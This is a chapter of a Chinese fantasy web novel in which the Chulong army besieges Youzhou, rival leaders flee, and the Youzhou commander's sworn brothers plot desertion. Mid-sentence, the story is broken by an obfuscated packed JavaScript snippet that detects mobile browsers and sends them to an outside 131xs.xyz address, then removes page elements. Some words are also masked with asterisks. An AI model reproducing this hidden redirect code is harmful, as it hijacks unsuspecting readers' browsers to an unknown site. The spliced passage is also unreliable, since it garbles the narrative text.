但张首席也没有卖关子,而是扳着手指来解释:“你们算算,幽州虽说是十余郡的规制,但大部分郡都是山地、要道的小郡,可就是这十余郡,居然出了二三十个凝丹、成丹,还有一个宗师……岂不是人才辈出?” 众人终于晓得张首席意思,但王叔勇还是没绷住:“可惜,一半都折在几日前了……” 这也是大实话。 “那好,趁着太阳没落下,咱们走吧。”张行见状终于不再多话了。“把旗帜举高些。” 说完,径直勒马,往幽州桥上而去。 所有人中,只有秦宝一人没有半点迟疑,直接转身跟在黄骠马后……其余人等一愣,也多随上,头领中只有元宝存与侯君束,乃是呆了一会,才赶紧跟上。 踏上幽州桥,晚风阵阵,红底黜字旗迎风而展,数百骑列阵随行,更兼夕阳西下,金光粼粼,加上河上河岸烟火未消,倒真是落日照大旗,马鸣风萧萧了。 过了河,转向西面,再向北……此时城墙上已经有些骚动了,那些本就是之前一战逃回来的溃兵们早就两股战战,而待这支只有几百骑的兵马护着那面黜字旗直接在临桑宫落下后,更是惊得当面西城军士直接逃窜。 尽管晓得黜龙军有所恃,但这份临城而居的胆气还是摧人。 张行坐在行宫中心大殿前的台阶上,眼见着旗帜立好,便来下令:“是不是带了干粮?埋锅做饭,烧水煮汤,我要吃热的。” 随行军士不敢怠慢,侯君束更是亲自砍柴生火,而眼见着火灶起来,西面城墙上逃走的军士意识到没有危险后,反而又**起来,远远在城墙上指指点点,来做观看。 这一次,幽州城内,却是全都晓得,张行来了。 汤饭煮好,侯君束亲手奉上之后,立即下拜:“首席,我在幽州有要好之人,此时正在安乐,我自请去劝降,连人带城都能入手,安乐是幽州北面门户,若是上来便翻在首席手上,幽州南北被夹住,肯定会更加震动,降的也会更快。” “可以。”张行端着碗立即点头。“而你既出去,正好替我告诉幽州上下,我张行来幽州,不是做什么英明至尊的,而是来黜龙的……所谓阴阳之道,一向一背,天地之道,一升一降。” 说到这里,张行单手指了指自己身前对方身后的旗帜:“所以我不跟他们谈条件,只给他们下命令……告诉他们,河间整编完毕后就有大军发兵来幽州,而我这里也随时会攻下幽州城,那就以攻下幽州城与河间援军大队过徐水为两条线……早于两条线之前来到行宫亲自见我的,算是投降,我便既往不咎;两条线之间来的,按照他们的官职军职该罚罪伐罪,该抄家抄家,郎将以上身份又领兵对抗过黜龙军的,还要斩首;要是两条线之后还不来的,我就要在事后灭族……杀光他们家族成年男丁。” 侯君束俯首相对,居然没有太多惊疑:“属下明白,金杯共汝饮,白刃饶相加,黜龙帮既来幽州,便是灭国伐敌,如何能与他们宽松?幽州自是黜龙帮的幽州!河北也是黜龙帮的河北!” 说完,躬身向后数步,立即转身去了。 元宝存看的心惊,放下刚刚端起的碗筷,便也来问:“首席,崔傥……” “崔傥本是叛逆。”张行立即作答。“今日看在元公份上,告诉他,若能取了李枢首级回来,便赦他死罪,可以罚为力夫,随何稀去修学校……这不是我的言语,是来之前崔总管跟我商议的最好结果。” 元宝存愈发心惊,却是晓得,张首席这是继续在撵崔傥走了,就是要崔傥客死他乡。 而这对以宗族为主要生存信念的崔傥而言,本身就是一种标准的流刑。 但等了一下,见到张首席已经开始在燃起的火光中吃饭喝汤,元宝存到底是绝了争辩求情的意思,赶紧端起碗筷,准备吃完后转身到自己落脚的偏殿里写劝降信去。 事实证明,元宝存想多了。 随着张行在临桑宫中住下,当晚的幽州城内便混乱起来。 “叔祖!” 混乱中,忽然有一个熟悉的声音在崔傥门外响起。“叔祖,是我们。” 崔傥明显在出神,停了一会方才开口:“进来吧!” 外面两人进来,正是崔四郎与崔二十七郎两个侄孙,而二人中崔二十七郎明显惶恐,崔四郎也面色凝重。 不过,二人到底是天下数得着的文修世族子弟,依旧强压着不安行礼列坐之后方才由崔四郎开口:“叔祖,罗术疯了。” “能不疯吗?”崔傥失笑道。“倾巢而出,本以为能成大事,最差也不过是救援失利退回来慢慢计较,结果一夜之间稀里糊涂失了一半主力,幽州唯一宗师也没了,他最信任的副贰也没了,独子也没了,其余登堂**的将军也没了一半……这还不算,刚刚回来,气都没喘两口呢,就被人又掐住了脖子,摊我我也疯。” “可是叔祖,咱们怎么办呢?”崔二十七郎一开口就带了哭腔。 “你们怎么商议的?”崔傥似乎好整以暇。 “还是得走,晓得罗术不能成事,谁晓得他不能成事到这种地步呢?”崔四郎玄臣正色来言。“先往北走,去北地,逃出去再说,往后无论是往北、往东、往西,再作商议就是……反正留在这里,张行不可能放过我们的。” 崔傥沉默片刻,复又来问:“往北我晓得,往东、往西什么意思,去东夷跟巫领?” “渡海去东夷,是觉得天下便是再来一场风云,东夷也未必能被占取,躲在那里就此安生。”崔玄臣言辞恳切。“过苦海去巫领,不是要待在巫领,而是要借道去西都,或者东都。” 崔傥冷笑一声:“真真是丧家之犬。” 两名崔姓子弟都不吭声。 “所以,你们找我就是为了逃?”崔傥喘了两口气,继续来问。 “是。” “没有别的出路吗?” “叔祖的意思是?” “黜龙帮恨我入骨,二十七郎也是叛逃,但你不是。”崔傥幽幽来言。“四郎,你是按照流程辞了职务为李枢奔走的……黜龙帮讲规矩,你这恰好也算是讲规矩,这次张行只带五个营顶在幽州的咽喉上,肯定是要大举招降的……你为什么不等一等招降条件呢?” “来不及了。”崔玄臣苦笑。“且不说什么应不应该负李公,但现在真来不及了……我来这里,是罗术刚刚已经请了李公赴宴,专门来请叔祖去救人的。” 崔傥没有吭声,反而是在迟疑片刻后来问:“四郎,你真不是张首席的暗桩?” “我真不是张首席的人。”崔玄臣指天而言。 崔傥一声叹气:“如此说来,咱们真的是穷途末路了。” “还没到穷途。”崔玄臣努力来劝。“叔祖,赶紧去宴席上,把李公带来,今夜就走!” 崔傥不再言语,拂袖而起,便出门去了。 出得门来,只见满城火光闪烁,乃是不知道多少人连夜在城内往来,也不知道几许人是奉罗术军令在控制城防、**城内,几许人是受到惊吓,试图夜间相互联络,乃至逃窜、降服,还有几许人是伪作奉罗术军令,其实是在做着自己想做的事情。 崔傥也没有多看,只是低头步行往罗术所居总管府而去,他虽是文修,可到底有宗师修为,此时低头向前,真气弥散,去做探听,便也晓得四周动静,知道不少情状,但也只是验证了他之前的观察所得——整个幽州城都如被人掐住喉咙的垂死之人,看似挣扎的激烈,其实已经无力。 很快来到总管府,总管府上下内外如何不晓得来人是城内唯一宗师,故此,见到对方无约而至,也不敢阻拦,或者说无心阻拦,又或者是担心阻拦会生出祸事,哪怕是最忠心之辈,也只是往身后报个信而已,便任由对方进入了。 崔傥入得堂内,气氛早已经不堪,李枢坐在侧首,面色如常,而正中间的罗术却满身酒气,眉目倒吊,见到来人,更是死死盯住对方发问:“崔公因何至于此?” “闻得公子蒙难,不知真假,但总该来做询问,否则安坐,是则吊唁。”崔傥躬身一礼。 罗术闻言眉目明显一散,然后低头应声:“我儿确系有些不好传闻……劳烦崔公专门至此。” 崔傥从容入了空座,自有酒菜奉上。 崔傥复又斟了一杯酒,然后才再度开口来问:“总管既摆宴,不管为何,为何只请李公一人?其余诸将何在?” 罗术微微眯眼来看对方,半晌方言:“张贼据了临桑宫,城内人心波动,军中诸将都去**骚乱、控制城防了。” “原来如此。”崔傥点点头,复又来问。“可是总管,为何城内军士这般少?连城墙都填不满?还要临时抓壮丁充数?难道真如那些败军所言,滹沱河徐水之间那一战,幽州军丧了大半?” “不至于。”罗术努力平静来言。“大败是大败了,但军中精华还有一半……防守足够了。” “若是这般,老夫便有一句谏言了。”崔傥恳切来劝。“黜龙军势大,想要守住幽州,只有汇集剩余幽州精华于一城方能支撑……我看城中高手不多,尤其是许多家族在地方上的将军都没来,这就本末倒置了。” “也难。”罗术咬着牙根来言。“也难……人家到底是要护着家为先的。” “总管放心。”一直沉默的李枢忽然开口。“我们与这些幽州人不同,他们自以为可降于黜龙帮,所以三心二意,我们却是张行的眼中钉肉中刺,想降也没得降……这一回,若不能顶住,便弃了这条性命随总管去了便是!” 此言一出,罗术与崔傥皆不由来看,看了片刻,还是后者冷笑:“李公这话是来指点老夫吗?” 罗术一惊,便又来看崔傥。 “崔公。”李枢言辞也恳切起来。“晚辈不敢指点长辈,但是如今局势,一来,局势危殆,幽州城若想保全,非你莫属;二来,修行之事我不如你,军阵之事我不如罗总管,可天底下没有人比我更懂张行……此人之前没有得志伸展,还会委曲求全,做些糊弄人心的事来,既得志,便要摆起他的臭规矩来,而崔公在他眼中,如今已经是跟我一般要拿捏着给天下人看的手中虫豸了,断不会留有余地。” 崔傥怔了一怔,脸色明显难看:“原来如此吗?” 罗术见状,终于有了两分生动神色,便勉力举杯:“崔公,李公言语虽然激烈,却是实情,大难当前,别人有出处,咱们三人却只能团结一致了。” 李枢随即也举杯,倒是崔傥等了一阵子,方才勉强举杯相对。 三人一饮而尽,又盘桓了一阵子,有人来寻罗术,说是夫人喊他问话,这才撤了宴席,各自归去。 罗术如何与夫人交代不提,只说李崔二人一起出来,从离开总管府到走到街上,并无半点言语,一直入了住处,李枢方才在门内朝着崔傥拱手行礼:“刚刚多谢崔公,又是孤身来救,又放下身份与在下做配合,好说歹说脱了身。” 崔傥负手而立,眉头一皱:“原来刚刚你那话是哄骗罗术的,老夫还以为李公是真心指点我呢。” 李枢躬着身子,没有半点动作和迟疑:“崔公说笑了,人尽皆知的道理,哪里需要我来指点崔公?只不过罗术已经被打的心神俱废,不这样说话他便会生疑罢了。” 崔傥晃了一晃身子,换了个话题:“罗术心神俱废?因为独子丧生?” “是。”李枢直起身来,正色言道。“但未必只是因为独子之死,依着我看,他是以诡道取幽州,得之如拾遗,所以在战场上没有想明白,于是也弃之如遗,结果回到城里,晓得损失惨重,知道众叛亲离,又被张三跟过来单手掐住咽喉……这才恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168010|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然过来,自己在徐水畔丢的竟是他内外所有,于是懊丧不及,才心神俱废。” 崔傥沉默了一阵子,方才颔首:“原来如此……那我们又该如何?” “先走,今夜就走,去北地。”李枢毫不犹豫。“真要是再等几日,雄伯南与白三娘到了,咱们就没有机会了。” 崔傥点点头,但还是显得有些犹疑:“李枢、李公,你到底是与张行并争大权的人,看人看事的本事自然厉害,那你今日能否与我说个实话……黜龙帮日益强横,咱们一走再走,现在还要继续走,到底能不能走到一个地方,等到一个出头之日?” “当然能,不过我们已经没了主动。”李枢毫不犹豫。“所以,这不是看我们,而是看他们了。” “他们是张行、司马正、白横秋?” “是,但能搅动风云的不只是区区三人,还有李四郎、白三娘,还有残存的几位大宗师,还有东夷人、巫族人、北地人、南岭人,还有许许多多豪杰英雄……只不过,最重要的还是那三人,而最最重要的便是张行自己。”李枢认真道。“而张行一定会自败!” “一定会自败?” “一定会。”李枢幽幽提醒。“崔公……你小瞧张行了。” “你说他一定会自败,为何反而是我小瞧他了?”崔傥不解。 “我说他自败,是因为我晓得他志向有多大……”李枢叹气道。“崔公只觉得他是想夺天下,自然觉得他自败的份数不大。” “他是什么志向……真想做至尊?!”崔傥眯眼道。“到了眼下这个规制,这个身份,这个年龄,还想着要证至尊?至尊是什么他能弄得懂?做个皇帝、当个圣君,死后寻一位至尊开恩,化作真龙神仙上天去多好!” 李枢默不作声。 “也罢。”崔傥想了许久,终于颔首。“先去睡觉,三更时分,我带上你跟四郎、二十七郎,一起出城,从城东绕行,往北地去!” 李枢只是一拱手。 当夜无言,崔傥以宗师身份趁乱裹着三人逃走,而翌日,一直到了晚上罗术居然才晓得这些人跑了,却又无力……因为这一整日,跑的可不是区区这几人,随着张行的招降公告传到城内,幽州城内刚刚收拢的溃军也逃了一整日,罗术甚至还杀了三个劝降的幽州军内部成员。 这还不算,随着更多的战场消息传回来,确定了更多人战死、投降后,幽州城更加不稳,罗术也愈发失控,恶性循环下的困兽之斗很快就起来了。 然而,即便是这种情况下,居然也没有登堂**以上的幽州文武骨干主动向张首席投降。 降的人很多,但多是城内逃出来和原本散落在外的的队将一层军官,高层真没有……就连被侯君束寻到的高副将,此时都犹疑不定,留在安乐不动。 对此,张首席依旧好整以暇,整日在行宫里住着宽绰到离谱的大殿,吃着热汤热饼热菜,接见着投降的低级军官,完全不把战局当回事。 也就是这种情况下,三月廿二日,张行之前索要的封常和许敬祖抵达了。 他们带来了一些更有意思的讯息。 “巫族人也立了大魏皇帝?”大殿前的校场中,正晒太阳的张行不由失笑。 “是。”许敬祖冷笑道。“西都的曹氏子孙,之前被巫族人抓了几个,眼看着白横秋做了皇帝,便也立了个皇帝……巫族到底是算被大魏给大略吃下过,对此类事还是比较上心的。” “不瞒首席。”封常上前进一步越过许敬祖解释。“后方大行台里议论,巫族人离得远,自然与我们无关,但北地就要注意了……巫族人都知道立个皇帝跟白横秋对着来,北地可是有穆国公的,他是曹彻的亲堂弟,很早就有些威势和人脉,北地也跟中原联络更紧密些,不比那些被立的小孩子。” “穆国公……” “是,早年被贬到听涛城的。” “哦哦……在听涛城就是在陆夫人手上了?” “是。” “陆夫人还有个盟友,唤作刘文周,占了冰沼城,是之前去世金戈夫子的得意爱徒?” “是。” “那确实要小心。”张行点头认可。“北地人肯定不会服我们,陆夫人肯定也要碰一碰……但北地的事应该有北地的法子,到时候再说吧。” “是。” “大行台那里还有什么别的言语吗?” “自然……是薛氏兄弟的。” “怎么说?” “薛氏兄弟耍了滑头,一个薛万全要在父亲死的地方隐居,一个薛万年愿意降我们做领兵头领,另一个薛万成愿意降我们做文官,还有一个薛万平跟薛万备想离开此地,说是一个准备去东都寻他们兄长薛万论报丧,另一个准备回关西老家寻白横秋领爵位。” “这是晓得窦濡的事情后,明白我们会按规矩来,故意在这里求个万全万备呢……” “所以说耍了滑头。” “那就这样吧……不能因为人家耍滑头就刻意苛待人家,薛常雄都**,许诺也许出去了,照常任用就是。” “首席大度。” “还有吗?” “慕容正言的事情……慕容正言不愿意做官,想要回家隐居,陈总管觉得可惜,想让首席写封信与他一并去劝。” “慕容正言残废了,又见到薛常雄身死,心灰意冷也寻常,陈总管有些刻舟求剑了……但既是陈总管开口,总要给面子,你待会替我写一封信,我来誊抄。” “是。” “还有什么吗?” “其余并没有让我们专门言语。” “那有没有没有要求你们言语,但你们觉得可以一说的事情呢?”张行忽然又问。 “还真有。”封常沉吟片刻,正色来言。“首席现在可曾知道,滹沱河-徐水一战战果有多大?” “昨日晚间从徐水发来的总结。”张行若有所思道。“我记得目前的战后点查是,咱们这边战死者不过八百余,伤势到了必须要离开前线的伤者两千余,而获首却高达五千,俘虏两万八千众……对不对?” “对。”回答张行的是马围,封常和许敬祖仓促赶来,自然不晓得路上情报。 “然后河间大营河间大营首脑薛常雄战死,全军基层溃散,慕容正言、高湛二人率余众全面降服,幽州军方面,二号人物魏文达战败降服,幽州军三号人物白显规、继承人罗信、大将齐红山以下,将官战死者多达九人……对不对?” “对。”这次封常就知道了。“这就对了。” “然后呢?”张行不解。 “事情很简单,首席,大概是因为战斗过于顺利和迅速,邺城和沿途忽然就冒出来不少新鲜论调……”封常笑道。 “都什么论调?” “有人说,首席是黑帝爷点选,天下四分有其一,除了张首席、白横秋、司马正、萧辉外,其余人等都该早降,往后就是这四家争雄了,不然为什么齐王和皇太后都留在黜龙帮里了?为什么几年间帮里呼啦啦就多了许多宗师?” “有人是谁?” “一开始是行宫内外头领们的家眷所议论,后来成了市面上的主要说法。” “还有呢?” “还有人说,根本不是什么天命,就是张首席雄才大略!” “啧!”饶是张行早有准备,听到这话也忍不住啧了一声。 而封常丝毫不受影响,继续拍马道: “他们说,之前看帮里起势尚不觉得首席哪里出色,可是几年下来,不要说首席在帮内无人能比,只看其他诸侯也能晓得,周遭没一个能比得上的……造了反还知道留下郡县官吏收税,是义军独一份;打着仗还知道修桥补路建学校,是天下独一份;至于什么团结上上下下,让降人、文修世族、豪强、修行强人、元勋、新晋都汇集一趟,让大家都有地位,都有官做,恐怕也没第二家能这般像样的。 “还有什么修订律法,严格授田,建立军械后备,制定服色……每一个说出来其实都很简单,也都有势力来做,但像黜龙帮这么周全的,还真就没有! “最离谱的两件事,科举与廊下食,这两个承袭自暴魏但大家都还觉得不错的事情,竟也只有黜龙帮一家在做,还是张首席力主坚持的,如今看来也是极好的。 “故此,首席治下,黜龙帮看似是起于草莽的义军,是帮会组织的壳子,内里却是比任何一家诸侯都要正经的朝廷底子。 “而这一战,也本就是倚强凌弱,以高蹴低,甚至像是正规军来平叛一般。” “这是谁说的?”张行继续好奇来问。 “主要是之前做过大魏官吏的人,不止是新降的这一批,也包括之前老早就过来,甚至是起义元勋的人,也有些世族文修以及文法吏这般说。” “可以理解。”张行恍然,复又笑问。“封舍人也是这般想的吗?” 封常赶紧摆手:“属下是机要文书,何谈舍人?不过属下也的确是大略这般想的。” “那还有些其他想法吗?被这一战激出来的,还有别的吗?”张行追问。 封常再度来笑:“当然有……” “首席,我的想法就与前面的都不一样。”就在这时候,一直冷眼旁观的新科第五名许敬祖忽然抢回自己位置,扬声来道。 “说来。”坐在台阶上的张行不以为意。 “我觉得,前面那些说辞不能说有误,但不是关键,首席本人固然是雄才大略,但更重要的是首席带着咱们黜龙帮抓到了前人未有的军政诀窍。”许敬祖在封常斜过来的目光中言之凿凿。 “什么诀窍?”张行追问。 “具体来说就是首席拿北地战团、荡魔卫的模式混合着中原治政体系达成的现在这个制度,而这个制度效果自然是毋庸置疑的,咱们黜龙帮现在的威势就是明证……事到如今,总不能说将河北、东境加淮北搞得风调雨顺、国强民富的黜龙帮制度没法治理天下吧?” 许敬祖摊手道。 “而且,也不是我一人在此吹捧,帮里有些同列早就察觉,只是不会说话罢了……譬如早就有人说,咱们这个头领举手的大会,就比白横秋匆匆登位、逼着众人一起给他下跪,更得人心!还有首席不顾闲杂人反对,坚持不懈让帮里辖制的少年强制筑基,以前看不出来,但现在来看,过不了两年,黜龙帮后进之奋勇就显露无疑了,也一定能结合着这个头领制度发挥大功效!说不得到时候对上白横秋跟司马正,乃至于萧辉、东夷、巫族,也能如这次徐水之战那般轻易。” 许敬祖年轻气盛,又跟关陇势力有仇,此时说起话来,简直声振屋瓦,身后大殿内忙碌的参谋文书们,还有周遭执勤的甲士、轮休的准备将们都听得认真。 “有点过头了。”张行听完,想了一想,也无奈摆了下手。“什么制度都是试出来的……好的就用,不好就不用,只是说有的检测时间长有的检测时间多,有的眼下还能用罢了……将来这个举手的不行了,自然可以让后来人再试新的。” 许敬祖点头称是,毫无之前的嚣张之态。 旁边封常想说话,却见到张首席说完之后就低头沉思,便也不好多言……实际上,张行的确是在思量,他晓得这番大胜,而且是如此轻易之胜影响巨大,但没想到影响这么大,河北还没真正统一呢,马上就有人为黜龙帮辩经了。 而且,张行也不好拦着大家主动为黜龙帮辩经,恰恰相反,他张首席自己从头到尾都是主动辩经的,红山上辩过,观风院里辩过,开大会时辩过,吃个饼买个红头绳都要辩的,怎么能这个时候收住? 唯一的问题在于,这一战之后,确实需要把之前讨论过很多次的宣发工作给提上日程了,然后对这些讨论在帮内帮外进行引导。 对于这个工作,张行原本是有个不错人选的,但可惜……那小子去东都搞教育试点去了。 所以,这个职务不免棘手。 “可惜!“一念至此,张行不由叹气出声。 封常在旁,不明所以,有心来问,却不敢来问……不过也就是此时,元宝存忽然匆匆自侧翼进入大殿中央广场,汇报了一个消息,打断了张行的感叹。 “渔阳太守要降了?下午就到?”张行有些不解。“为何今日来降?” “回禀首席。”元宝存满脸喜色。“其实说来简单……前几日我们的消息,那些溃兵的消息都有些混淆,直到今日,越来越多可信之人带着消息回到幽州,那渔阳太守阳圭才信了,魏文达竟然真降了我们,白显规和罗信也真**……” “竟是我们来的太快,他们不信吗?”张行恍然。 “自然如此。”元宝存如释重负。“首席,局面打开了,接下来就好办了。” 张行只是点头。 张首席在点头,而城内身为幽州军统帅的罗术却不可能如那个郡守一般直到现在才信魏文达投了黜龙帮……他早就知道了,不然魏文达为什么不回来帮他守城?为什么不把自己儿子带回来? 但是,他心知肚明,不代表城内其他人心知肚明,黜龙帮只将主力四个营放在一侧临桑宫内,然后另外一个营由贾越领着在笼火城看着后勤线,幽州城基本上是与外界畅通无阻的。 所以,诸如魏文达投降一事在城内传播,并渐渐随着形势被锤实,几乎是不可避免的,军心进一步动荡也是不可避免的。 实际上,晓得自己撑不了多久的罗术已经开始构思最终计划了。 “什么事?” 满脸疲色的罗术停下与燕云十八骑中最后十一位的讨论,闷声来问门外。 “总管,夫人在后面哭闹的厉害……”停在门槛外面的家人低声来答。 “昨日不是不闹了吗?”罗术无奈。 “夫人上午去城内黑帝观给公子上香,在那里听其他上香的妇女说魏文达降了,问了好多遍,我们只敢说不知道,她却直接信了,当场就与少夫人厮打起来,少夫人先逃回来,夫人又追回来打,厮打累了就哭,说魏家父女坑了少公子性命……”家人努力简要回答。 罗术扶额不语,双目却渐渐发红。 正待旁边几位兄弟要来说几句转圜的话时,这位幽州总管忽然咬牙切齿来言:“夫人说的对……把魏文达的女儿给我宰了,替我儿偿命!” 燕云十八骑中最后十一人,俱皆悚然,纷纷起身要劝。 孰料,罗术看到这一幕,反而失态,当场呵斥门外家人:“你还站着干什么?!魏文达是个宗师,他女儿却只是个大脚丫头!速速去杀了!” 最后十一骑各自愕然,却如何能想不起来,这位要自己叩首相对的大哥素来都是不能劝的呢? 第五十六章 千里行(10) 第516章千里行(10) “大哥,这事我去处置,偷偷的杀……时局混乱,城内魏文达旧部极多,不能把消息传出去。”十一骑中一人艰难拱手。“不然军心动摇,想做事就难了。” 罗术盯住自己这位兄弟良久,嗤笑一声:“小田,我想出一口恶气就这般难吗?” 这年轻军官僵立当场。 又一人起身,却是剩余十一骑中最年长的一位,其人拱手相对:“大哥,我只说一件事,若是少夫人已经有身孕呢?” 罗术依旧冷笑:“林六,你是不是傻了?我儿去河间数月,哪来的身孕?” 那年长者面露诧异:“大哥,上个月底公子从河间来家住过两日的,你……” 罗术终于迟疑。 老林赶紧来言:“大哥,公子是独子,这种事,便是万一也要忍耐的……” 听到这里,罗术再度发怒看向门外:“你还站着干什么?滚回去将那大脚丫头塞进厢房里锁着,不要断了食水!” 那家人狼狈而走。 家人既走,剩下十一骑与罗术继续商议最终一搏,商议到傍晚,方才散开。 出得门来,十一骑便去全城各处去整饬军马,晚间还免不了去往城墙上去巡视,而到了三更之前,其中四五人则顺理成章的城西南角的角楼上汇集起来。 这几人并不是存心要搞什么阴谋团伙,而是身为十八骑中修为和其他能力都更差点的那一批,平日在军营、城墙、驿站,乃至于罗术住处时,都要在晚间巡视,结束后一起喝完热汤说说话,再散去休息的。 算是惯例。 而且平日这种场景,也是几人最放松最舒坦的时候。 但今日嘛…… “幸亏六哥还记得上月底公子回来的事情,否则今日不知道如何收场……我都没敢让小田过来。”闷坐了片刻,其中一名年轻的喟然开口。“白大哥、老张他们一个个要么走要么**,还得六哥多拿主意。” 白日出言解了大困厄的林姓年长军官沉默片刻,然后闷闷回应:“能记得什么事情?什么月底回来的事情全是我瞎编出来的。” 几人愕然一时。 “如此说来……”其中一名骑士满头大汗。“如此说来,这要是有人再提醒,那魏家的姑娘是不是还要一死?林六哥也要被牵累?” “我死无所谓,但不能任他滥杀无辜!”林姓军官严肃道。“不过你们也不必太过忧心,今日那罗二管事在门外没开口揭穿我,回去自然也会敷衍。” “那以后……” “什么以后,过了后日晚间再说吧。” “后日晚间真能得手?得手便能解困?只怕便是胜了也只会这般煎熬下去,到时候更加丧心病狂!” “说的不错,我只怕后日一出兵,就会学薛常雄那里自溃……**人心可是黜龙帮那位的擅长手段。” “那又该如何?” “我意,大家现在回去收了家小,直接从西面城墙上跳下去得了……寻了老张哥,总有个立足之地。” “这么做自然简单,但多少年义气,真能扔下他不管吗?” “真要是管他,我的意思怕你们几个听了惊讶……咱们一起动手,明晚上杀了他吧,省的坏了他多少年豪杰名头,这样,恶名头咱们做兄弟的担,他还最起码能落得个薛常雄那般在军中不留恶名。” “这到底是咱们大哥和主上,这叫弑!” “那怎么办?” 区区几个兄弟,居然念头各不一样,但无疑所有人都对罗术失望透顶了。 说来说去,最后几人还是看向了今日解救了魏文达大脚女儿的人……后者开了个口之后就一直坐在岗楼靠窗户的位置,挨着油灯旁的墙面来靠,不知道在想什么。 此时看到众人来看自己,这位姓林的军官晓得躲不过去,无奈开口:“诸位,说句公道话,咱们这位大哥,当日做郎将的时候,还是顶好的人……替本地军官出头,照顾乡土豪杰,虽说不上什么扬善,但抵恶还是有的,大家也都敬佩,不然咱们如何能聚起来?” “六哥说这些有什么用?今日是往日吗?!” “不错,要是他能做一辈子将军,不要说将军,做了总管也好,但不起争天下的志向,只与黜龙帮做个龙头,咱们下面做个头领帮衬着,照样是个英雄样子!可他竟起了争天下的梦,之前整日信那逃走的李枢胡扯,这次出征前还叮嘱我,回来后替他打扫临桑宫……这是他能想的吗?黜龙帮都晓得让所有头领住进去!” “我刚刚就想说这个了……现在来看,咱们这位大哥不算是什么大英雄,只是个寻常豪杰,若在之前的豪杰局面里,怎么都能应付过去,但做了总管不算,还想着争天下,这就是所谓下士有志,反而不如碌碌庸人,自家坏了局面。” “诸位兄弟,你们说的都对。”林姓军官赶紧打断这些人。“所以,咱们既要记住他当年的好,也要明白他如今不可救药……” “六哥说怎么做吧!”又有人不耐起来。“我们听你的。” “那好……我的意思是,后日晚上那一仗,咱们豁出命来替他打,算是偿了旧恩。”林姓军官严肃以对。“可打完这一仗,咱们也算是仁至义尽了,那不拘胜败,也不拘回城的还有几个人,就带着所有人家眷走……先走再说,出去后与他再无干系,再商议联络去哪里。” 几人沉默了下来,好几次眼神交流,却都没有说出口。 最终,大约是意识到大家都不得不同意这个方案后,有人打破了沉默:“其余几个兄弟呢?” “都是兄弟,当然要一起走,马上我就去找他们说清楚……你们不要动,今晚明日,我一个一个找机会说,若是真有人泄露了,只会揪在我一人头上。” “那魏家的女儿呢?”又有人来问。 “那不光是魏家的女儿,也是咱们大哥的儿媳妇,他自己不认,我们却要认,不光认,还要救……到时候我直接去救人,带着人直接出城……后面的事情交给你们。”话到这里,这林六复又颤抖着喘了口气。“要是到时候闹出什么动静,你们都不要理会,要是我跟魏家女儿都没出来,你们也都不要理会,只替我照顾好我家里就行……除非是我后日那一场之后没回来,老冯替我去做便是。” 其中一人赶紧应了一声,而剩下几人面面相觑,有心来言,却被这林六摆手制止,然后直接定下了逃跑路线,和汇集家眷的地点,包括计划的执行人与候补执行人。 到了这个时候,已经是三更时分,便各自散去,林六也走出了岗楼,却又望着头顶的连钩双月,一时陷入茫然……今天白天救人的是他,刚刚定了决策要跑也是他,而无论怎么说,他们这个行为其实就是密谋反叛了,而他林六正是这个反叛的头子。 唯独虽然做了反叛头子,可十数年经历,哪里又是那么轻易视为无物的? 人生于世,有几个十数年?还是人一辈子最好的十数年! 事情走到如今这个地步,怎么可能不痛心? 而且一想到白显规与张公慎彼时又是何等痛心,眼下便更痛心了。 停了许久,其人方才艰难挪动脚步,去来寻人,顺着城墙又找到两个离得远的兄弟,说清楚原委,得到应许入伙,本想就此暂歇,却忽然想到一人,便不顾天黑疲惫,专门再来寻找白天尝试出头却失败的小田来。 小田是十八骑中比较年轻的,浪荡性子,还没有成家,父亲又死在二征时,故只与老娘共住在一个小院内,林六到了地方,也不叫门,直接点起弱水真气,便轻轻翻入墙内。 小田果然也没睡,见到来人,与其说是惊讶,倒不如说是欣喜。 二人在后院马槽旁坐定,林六便要说话,却被小田抢了先:“六哥,我回来后一直后怕,连城上都不敢去,怕招嫌……” “这有什么不敢去的?”林六赶紧安慰。“与城里其余那些溃兵比,他能用的就是我们了,我们本就是他的耳目、臂膀、根基……什么都不要怕,什么都可以大胆做。” “六哥,我还是心慌。”小田明显没听出来对方的暗示,只抿着嘴道。“我回来后越想越不对劲,总觉得大哥这次太……太瘆人了。” “他自然是丧心病狂,魏文达力战三宗师,不胜而屈,魏家的女儿自然无过,何况还是他的儿媳,算是他在世上少有的亲眷,本该更疼惜才对,居然要杀了……”林六无奈,又把之前与几个人说过的话重复了一遍。 “不止是这个。”小田低头道。“六哥,若只是想起独子没了,亲家却降了,一怒之下要**倒也罢了……我坐着想了一阵子,最怕他是故意的。” “故意的?什么意思?” “他后日不是要带我们突袭一搏吗?” “是。” “他自己领兵的人,难道不晓得幽州城虽然极大,可到时候真正能用的只有他做第二中郎将时拢住的几千人和我们几个替他聚拢的几千人,而其余都是听不得风吹草动的溃兵与民夫?” “哪里是听不得风吹草动,没有风吹草动,这几日也不停有人去投降……” “所以,他既晓得杀了魏文达女儿,会让魏文达旧部离心离德,甚至说叛逃是必然的……为什么还要杀呢?”小田艰难问道。 林六刚要说丧心病狂四个字,却忽然一滞,然后原本就冰冷的心更加冰冷下来……隔了片刻,其人才缓缓开口:“小田,你是觉得,他杀了魏家女儿,就是为了让魏文达旧部叛逃,然后借此麻痹黜龙军,方便他后日忽然突袭?” “是……”小田艰难应道。“六哥,若是这般,我只觉得咱们这些大哥更吓人了。” 林六沉默了片刻,然后忽然笑吟吟来言:“或许吧,但无所谓了,都一样的……小田,我找你是有个说法,后日战后,咱们就趁机逃了吧,带上你老娘便是。” 小田一惊,然后直接点头:“好,要是这样,确实无所谓了。” 当夜不说,翌日,不知为何,总管囚禁了魏文达女儿、自己儿媳,甚至想直接杀掉却被拦住的事情还是传了出去,当日城内明显震荡。 